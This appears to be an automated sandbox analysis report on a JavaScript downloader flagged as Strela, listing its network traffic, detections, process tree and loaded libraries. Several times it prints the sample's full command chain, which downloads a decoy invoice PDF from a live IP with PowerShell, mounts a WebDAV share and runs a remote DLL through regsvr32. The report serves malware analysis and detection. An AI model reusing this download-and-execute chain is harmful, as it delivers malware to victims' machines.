Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2138528560.0000016EFA0F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2206230144.000002A4233AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.2196829623.000002A4233AE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2206230144.000002A4233AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Xf~M
Source: net.exe, 00000007.00000002.2206165710.000002A423378000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000009.00000002.3432729186.00000240D1400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2196937158.00000240D12E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3920, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 47411761265155214.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1372:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gijqtmf3.ib1.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 47411761265155214.js

Virustotal: Detection: 10%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47411761265155214.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1548,i,6924029694045850137,14892163335497292291,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1548,i,6924029694045850137,14892163335497292291,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
